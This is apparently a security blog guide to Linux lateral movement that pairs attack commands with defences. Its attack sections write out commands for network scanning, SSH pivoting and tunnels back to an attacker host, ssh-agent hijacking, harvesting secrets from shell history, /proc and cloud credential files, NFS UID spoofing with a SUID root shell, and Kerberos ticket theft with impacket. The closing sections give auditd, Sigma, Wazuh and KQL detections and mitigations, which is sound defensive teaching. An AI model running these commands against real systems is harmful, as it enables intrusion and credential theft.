You’re root on a web server in the DMZ. The database is on a separate host — no direct route from your C2, but the compromised box can reach it on port 5432. Fifteen minutes later, you’ve pivoted through three hosts and landed on the domain controller joined Linux box with /etc/krb5.conf pointing at the AD domain. This is Linux lateral movement.
For defenders: lateral movement is where dwell time compounds. Initial access gets detected eventually — but pivoting through internal hosts using legitimate tools leaves almost no trace without purpose-built logging.
TL;DR
- Lateral movement turns a single compromised host into network-wide access
- Six primary techniques: SSH pivoting, ssh-agent hijacking, credential harvesting, port forwarding, NFS abuse, and Kerberos ticket theft
- Tools attackers use: ssh built-ins, socat, chisel, ligolo-ng, impacket
- Every technique in this guide has auditd, Sigma, and Wazuh/Sentinel detection coverage
- Most pivoting happens over encrypted SSH tunnels — content inspection fails, but behavioral detection works
Why This Matters
Lateral movement is the difference between a contained breach and a full network compromise. On Linux environments — especially those joined to Active Directory or running internal services — the attack surface is wide and often unmonitored.
Linux hosts frequently have:
- SSH keys with broad access across the environment
- Plaintext credentials in shell history, config files, and environment variables
- Writable NFS shares mounted across multiple systems
- ssh-agent running with forwarded keys to privileged hosts
For red teamers: it’s the post-exploitation phase where scope expands from one host to an entire environment. For blue teamers: it’s where most SIEM coverage ends — SSH tunnels are encrypted, pivoting looks like legitimate admin traffic, and most shops have zero auditd rules covering it.
MITRE ATT&CK tactic: TA0008 — Lateral Movement
Contents
- Phase 1: Internal Reconnaissance
- SSH Pivoting
- ssh-agent Hijacking
- Credential Harvesting on Linux
- Port Forwarding and Tunneling
- NFS Share Abuse
- Kerberos Ticket Theft (AD-Joined Linux)
- Detection Reference
- Mitigations
- What You Can Do Today
Phase 1: Internal Reconnaissance
Before pivoting anywhere, map what’s reachable and what credentials exist on the compromised host.
Network mapping without nmap
On hosts where nmap isn’t available (or you want to avoid writing tools to disk):
# Active hosts in /24 — pure bash, no binariesfor i in $(seq 1 254); do (ping -c1 -W1 10.10.10.$i &>/dev/null && echo "10.10.10.$i UP") &done; wait
# Open ports on a target — bash TCP scanfor port in 22 80 443 445 3306 5432 6379 8080 8443; do (echo >/dev/tcp/10.10.10.50/$port) 2>/dev/null && echo "$port open"done
# Check routing table — what networks are reachable?ip routess -tlnp
# Who has SSH keys and where do they connect?cat /home/*/.ssh/config 2>/dev/nullcat /root/.ssh/config 2>/dev/nullcat /home/*/.ssh/known_hosts 2>/dev/nullWhat to look for
# Recently accessed hostscat ~/.bash_history | grep -E "ssh|scp|rsync|sftp"
# SSH keys — check for passphrase-free keysfind / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/nullssh-keygen -y -f /home/user/.ssh/id_rsa # passphrase-free = immediate use
# Mounted filesystems — NFS shares, CIFSmount | grep -E "nfs|cifs|smb"cat /etc/fstab | grep -v "^#"SSH Pivoting
SSH is the primary lateral movement tool on Linux. It’s encrypted, trusted by firewalls, and ships on every host.
ProxyJump — chain through hosts
# Single hop: reach 10.10.20.5 via compromised 10.10.10.50ssh -J user@10.10.10.50 user@10.10.20.5
# Multi-hop chainssh -J user@10.10.10.50,user@10.10.20.5 user@192.168.1.10
# Add to ~/.ssh/config for persistent pivotingHost internal-db HostName 192.168.1.50 User dbadmin ProxyJump pivot@10.10.10.50Local and remote port forwarding
# Local forwarding: bring remote service to attacker# Access internal PostgreSQL (5432) as localhost:5433ssh -L 5433:192.168.1.50:5432 user@10.10.10.50 -N
# Remote forwarding: expose attacker port on internal host# Useful when firewall blocks inbound — push C2 callback outboundssh -R 4444:localhost:4444 user@10.10.10.50 -N
# Dynamic SOCKS proxy — route all traffic through compromised hostssh -D 1080 user@10.10.10.50 -N# Then: proxychains nmap -sT -Pn 192.168.1.0/24SSH config persistence
If you can write to ~/.ssh/config on the compromised host, establish persistent tunnels:
cat >> ~/.ssh/config << 'EOF'Host * ServerAliveInterval 60 ServerAliveCountMax 10 StrictHostKeyChecking noEOFssh-agent Hijacking
ssh-agent holds decrypted private keys in memory. When SSH agent forwarding is enabled, the agent socket is accessible on every hop in the chain — and attackers can hijack it.
Find active agents
# List all agent sockets on the systemfind /tmp -name "agent.*" 2>/dev/nullls /tmp/ssh-*/
# Check who is using agent forwardingps aux | grep sshenv | grep SSH_AUTH_SOCKHijack another user’s agent
# As root — list SSH_AUTH_SOCK for all processesfor pid in $(pgrep -u victim_user ssh-agent); do cat /proc/$pid/environ | tr '\0' '\n' | grep SSH_AUTH_SOCKdone
# Use their agent socketexport SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.1234ssh-add -l # List keys in the hijacked agentssh user@target # SSH using their keys — no password neededThis works because the agent socket is a Unix socket with filesystem permissions. As root, you bypass permission checks entirely. Even without root, if the socket is world-readable (misconfiguration), any user can hijack it.
Credential Harvesting on Linux
Before pivoting, collect credentials that unlock other hosts.
Shell history
# All users' history filescat /home/*/.bash_history /home/*/.zsh_history /root/.bash_history 2>/dev/null | \ grep -E "password|passwd|secret|key|token|ssh|mysql|psql|redis" | sort -u
# Commands with embedded credentialsgrep -rE "(password|passwd|token|secret|api_key)\s*=\s*['\"]?[^'\"]{4,}" \ /home /etc /opt /var/www 2>/dev/nullEnvironment variables
# Current environmentenv | grep -iE "pass|token|secret|key|aws|db"
# Other processes' environments (root required)for pid in $(ls /proc | grep -E "^[0-9]+$"); do cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | \ grep -iE "pass|token|secret|aws_access"doneConfig files
# Database credentialsfind / -name "*.conf" -o -name "*.config" -o -name "*.env" -o -name ".env" 2>/dev/null | \ xargs grep -lE "password|DB_PASS|db_password" 2>/dev/null
# Web application configsgrep -rE "password|db_pass|secret_key" \ /var/www /opt /srv /home 2>/dev/null --include="*.php" \ --include="*.py" --include="*.rb" --include="*.env"
# SSH private keys world-readablefind / -name "*.pem" -o -name "id_rsa" -o -name "id_ed25519" 2>/dev/null | \ xargs ls -la 2>/dev/null | grep -v "^-r--------"
# Cloud credentialscat ~/.aws/credentialscat ~/.config/gcloud/application_default_credentials.jsonIn-memory credential extraction (root)
# Dump process memory for credential strings — targets sshd, sudo sessionsstrings /proc/$(pgrep sshd | head -1)/mem 2>/dev/null | \ grep -E "[A-Za-z0-9+/]{20,}={0,2}"
# GPG agent — may hold passphrasesgpg-connect-agent "keyinfo --list" /bye 2>/dev/nullPort Forwarding and Tunneling
When SSH isn’t enough — firewalls block outbound SSH, or you need to tunnel non-TCP protocols.
socat — bidirectional relay
# TCP relay — forward all traffic from :8080 to internal hostsocat TCP-LISTEN:8080,fork TCP:192.168.1.50:80
# Forward attacker's port to internal servicesocat TCP-LISTEN:3307,fork TCP:192.168.1.10:3306
# UDP forwarding (useful for DNS pivoting)socat UDP-LISTEN:53,fork UDP:8.8.8.8:53chisel — HTTP-based tunneling
chisel encapsulates traffic over HTTP/HTTPS — bypasses firewalls that allow web traffic but block SSH.
# On attacker server./chisel server --port 8080 --reverse
# On compromised host./chisel client 10.10.10.1:8080 R:socks # SOCKS5 on attacker:1080./chisel client 10.10.10.1:8080 R:5432:192.168.1.50:5432 # specific portligolo-ng — transparent tunneling
ligolo-ng creates a TUN interface on the attacker — traffic routes transparently without proxychains:
# Attacker./proxy -selfcert -laddr 0.0.0.0:11601
# Compromised host./agent -connect 10.10.10.1:11601 -ignore-cert
# In ligolo proxy consolesession # select agentstart # start tunnel# Add route on attacker: ip route add 192.168.1.0/24 dev ligoloNFS Share Abuse
NFS uses UID/GID for access control — not usernames. A root-squashed share still trusts any UID that matches.
Enumerate NFS shares
# From compromised host — what's exported?showmount -e 192.168.1.10
# What's already mounted?mount | grep nfscat /proc/mounts | grep nfsUID matching attack
# Target exports /data with no_root_squash — root on client = root on sharemount -t nfs 192.168.1.10:/data /mnt/nfs -o nolock
# If root_squash is set but files are owned by UID 1001:# Create a local user with matching UIDuseradd -u 1001 -s /bin/bash pivotusersu pivotuserls /mnt/nfs # access granted by UID match
# Write SSH key into NFS-mounted home directoryecho "ssh-ed25519 AAAA... attacker" >> /mnt/nfs/.ssh/authorized_keysno_root_squash escalation
If no_root_squash is set on an NFS export, you can place a SUID binary:
mount -t nfs 192.168.1.10:/shared /mnt/nfscp /bin/bash /mnt/nfs/rootbashchmod u+s /mnt/nfs/rootbash# On target host:/shared/rootbash -p # drops root shellKerberos Ticket Theft (AD-Joined Linux)
Linux hosts joined to Active Directory via SSSD or winbind hold Kerberos tickets that can be stolen and reused.
Find and steal tickets
# Locate ticket cache filesfind /tmp -name "krb5cc_*" 2>/dev/nullls -la /tmp/krb5cc_*env | grep KRB5CCNAME
# List tickets in a cacheklist -c /tmp/krb5cc_1000
# Copy ticket to attacker (or use directly)export KRB5CCNAME=/tmp/krb5cc_1000klist # confirms ticket validityPass-the-Ticket with impacket
# Use stolen ticket to authenticate to other hostsexport KRB5CCNAME=/tmp/stolen.ccachepython3 impacket/examples/psexec.py -k -no-pass domain.local/admin@dc01.domain.local
# secretsdump via Kerberos ticketpython3 impacket/examples/secretsdump.py -k -no-pass dc01.domain.localDetection Reference
auditd rules
Add to /etc/audit/rules.d/99-lateral-movement.rules:
# SSH key access-w /home -p r -k ssh_key_read-a always,exit -F arch=b64 -S open,openat -F path=/root/.ssh/id_rsa -k ssh_key_access-a always,exit -F arch=b64 -S open,openat -F path=/root/.ssh/authorized_keys -k authorized_keys_access
# Kerberos ticket access-a always,exit -F arch=b64 -S open,openat -F dir=/tmp -F exe=/usr/bin/klist -k kerberos_enum-w /tmp -p wa -k tmp_write
# SSH agent socket manipulation-a always,exit -F arch=b64 -S connect -k network_connect
# socat / chisel execution-a always,exit -F arch=b64 -S execve -F comm=socat -k tunnel_tool-a always,exit -F arch=b64 -S execve -F comm=chisel -k tunnel_tool
# NFS mount activity-a always,exit -F arch=b64 -S mount -F a2&MS_BIND -k bind_mount-w /proc/mounts -p r -k mounts_read
# Credential file access-w /etc/shadow -p r -k shadow_read-a always,exit -F arch=b64 -S open,openat -F path=/proc -F key=proc_mem_readReload: sudo augenrules --load
Sigma rules
SSH pivoting via ProxyJump:
title: SSH ProxyJump Lateral Movementid: a1f2c3d4-e5f6-7890-abcd-ef1234567890status: experimentaldescription: Detects SSH connections using ProxyJump flag, indicating pivotinglogsource: product: linux service: auditddetection: selection: type: EXECVE a0: ssh CMDLINE|contains: - '-J ' - 'ProxyJump' condition: selectionfalsepositives: - Legitimate admin use of SSH jump hostslevel: mediumtags: - attack.lateral_movement - attack.t1021.004ssh-agent hijacking:
title: SSH Agent Socket Access by Unexpected Processid: b2c3d4e5-f6a7-8901-bcde-f12345678901status: experimentaldescription: Detects access to SSH agent sockets by processes other than sshlogsource: product: linux service: auditddetection: selection: type: PATH name|startswith: '/tmp/ssh-' name|endswith: '/agent' filter: exe: - '/usr/bin/ssh' - '/usr/bin/ssh-agent' condition: selection and not filterfalsepositives: - SSH multiplexing tools, legitimate agent-aware applicationslevel: hightags: - attack.lateral_movement - attack.t1563.001Credential harvesting via /proc:
title: Process Memory Read via /procid: c3d4e5f6-a7b8-9012-cdef-123456789012status: experimentaldescription: Detects reading other process memory via /proc/PID/mem or environlogsource: product: linux service: auditddetection: selection: type: OPEN name|re: '^/proc/[0-9]+/(mem|environ|maps)$' filter: exe: - '/usr/bin/gdb' - '/usr/bin/strace' condition: selection and not filterfalsepositives: - Debugging tools, monitoring agentslevel: hightags: - attack.credential_access - attack.t1003.007Wazuh rules
<!-- SSH ProxyJump detection --><rule id="110100" level="10"> <if_group>auditd</if_group> <match>type=EXECVE</match> <regex>a\d+=-J|ProxyJump</regex> <description>SSH ProxyJump lateral movement detected</description> <mitre> <id>T1021.004</id> </mitre></rule>
<!-- chisel or socat tunnel tool execution --><rule id="110101" level="12"> <if_group>auditd</if_group> <match>type=EXECVE</match> <regex>comm=(chisel|socat|ligolo)</regex> <description>Known tunneling tool executed - possible lateral movement</description> <mitre> <id>T1572</id> </mitre></rule>
<!-- Kerberos ticket cache enumeration --><rule id="110102" level="8"> <if_group>auditd</if_group> <match>type=EXECVE</match> <regex>comm=klist</regex> <description>Kerberos ticket enumeration via klist</description> <mitre> <id>T1558</id> </mitre></rule>Microsoft Sentinel KQL
SSH pivoting from Linux hosts:
AuditLogs_CL| where TimeGenerated > ago(24h)| where RawData has "type=EXECVE"| where RawData has "-J " or RawData has "ProxyJump"| extend SourceHost = extract(@"hostname=(\S+)", 1, RawData)| extend User = extract(@"auid=(\d+)", 1, RawData)| project TimeGenerated, SourceHost, User, RawData| sort by TimeGenerated descTunneling tool execution:
AuditLogs_CL| where TimeGenerated > ago(1h)| where RawData has "type=EXECVE"| where RawData has_any ("chisel", "socat", "ligolo")| extend SourceHost = extract(@"hostname=(\S+)", 1, RawData)| extend CommandLine = extract(@'a\d+="([^"]+)"', 1, RawData)| project TimeGenerated, SourceHost, CommandLine| sort by TimeGenerated descCredential file access pattern:
AuditLogs_CL| where TimeGenerated > ago(6h)| where RawData has "type=OPEN"| where RawData has_any ("id_rsa", "authorized_keys", "/proc/", "krb5cc_", ".bash_history")| extend SourceHost = extract(@"hostname=(\S+)", 1, RawData)| extend FilePath = extract(@'name="([^"]+)"', 1, RawData)| extend User = extract(@"auid=(\d+)", 1, RawData)| project TimeGenerated, SourceHost, User, FilePath| summarize AccessCount=count(), Files=make_set(FilePath) by SourceHost, User, bin(TimeGenerated, 5m)| where AccessCount > 3| sort by TimeGenerated descMitigations
| Technique | Mitigation |
|---|---|
| SSH pivoting | Disable AllowTcpForwarding and AllowAgentForwarding in /etc/ssh/sshd_config on servers that don’t need it |
| ssh-agent hijacking | Never use ForwardAgent yes in SSH config unless strictly necessary; use ssh-add -c to require confirmation on key use |
| Credential harvesting | Set HISTSIZE=0 on sensitive accounts; use vaults (HashiCorp Vault, AWS Secrets Manager) instead of config files |
| Port forwarding | Restrict AllowTcpForwarding to specific users; use network segmentation so pivot hosts can’t reach internal services |
| NFS abuse | Enforce root_squash and all_squash on all exports; prefer Kerberos-secured NFS (sec=krb5p) |
| Kerberos ticket theft | Set short ticket lifetimes (4–8h); use renewable tickets only with PAM enforcement; restrict ccache file permissions |
Mitigating ssh-agent Forwarding in Practice
The single highest-impact change most environments can make:
# /etc/ssh/sshd_config — disable on servers that don't need itAllowAgentForwarding noAllowTcpForwarding noX11Forwarding no
# For jump hosts where forwarding is needed — restrict to specific usersMatch User jumpuser AllowAgentForwarding yes AllowTcpForwarding yesOn the client side, never put ForwardAgent yes globally in ~/.ssh/config. Use it per-host only when required:
Host jumphost.internal ForwardAgent yes
Host * ForwardAgent noWhat You Can Do Today
Red teamers:
- On every Linux host you compromise — run the internal recon commands before anything else
- Check
SSH_AUTH_SOCKimmediately — a forwarded agent is instant horizontal movement - Use
~/.bash_historyand/proc/*/environbefore deploying any tooling — the credentials are often already there
Blue teamers:
- Audit all
sshd_configfiles across your Linux fleet — disableAllowAgentForwardingandAllowTcpForwardingwhere unused - Deploy the auditd rules above and forward to SIEM — SSH pivoting leaves no logs without them
- Grep your NFS exports for
no_root_squash—showmount -e localhoston every NFS server - Alert on
klist,socat,chisel, and/proc/*/memaccess — these have almost no legitimate use in production
Related Posts
- Linux Privilege Escalation: Attack Techniques and How to Detect Them — the step before lateral movement: getting root before you pivot
- The Linux Server Attack Surface You Didn’t Install — default services that give attackers their initial foothold
- Rapid Compromise Triage: First 10 Minutes on Linux and Windows — detecting lateral movement during active incident response
- Pass-the-Hash and Pass-the-Ticket: Attack and Detect — credential reuse attacks that pair directly with Linux ticket theft
- Kerberoasting Deep Dive — Kerberos attack techniques that complement AD-joined Linux pivoting
- NTLM Relay Attack and Detection 2026 — lateral movement via credential relay in mixed Windows/Linux environments
- Threat Hunting with Wazuh — how to build and deploy the Wazuh detection rules used in this guide
Sources
- MITRE ATT&CK — Lateral Movement TA0008
- MITRE ATT&CK — T1021.004: Remote Services: SSH
- MITRE ATT&CK — T1563.001: Remote Service Session Hijacking: SSH Hijacking
- MITRE ATT&CK — T1552: Unsecured Credentials
- MITRE ATT&CK — T1572: Protocol Tunneling
- MITRE ATT&CK — T1558: Steal or Forge Kerberos Tickets
- MITRE ATT&CK — T1210: Exploitation of Remote Services
- chisel — Fast TCP/UDP tunnel over HTTP
- ligolo-ng — Advanced tunneling tool
- Impacket — Python classes for network protocols
- SigmaHQ — Linux auditd Sigma Rules
- HackTricks — Linux Lateral Movement
- ssh-agent Hijacking (BishopFox)
- NFS Penetration Testing — HackTricks
- Neo23x0 — Production auditd Rules
Hive Security — Offensive thinking. Defensive expertise.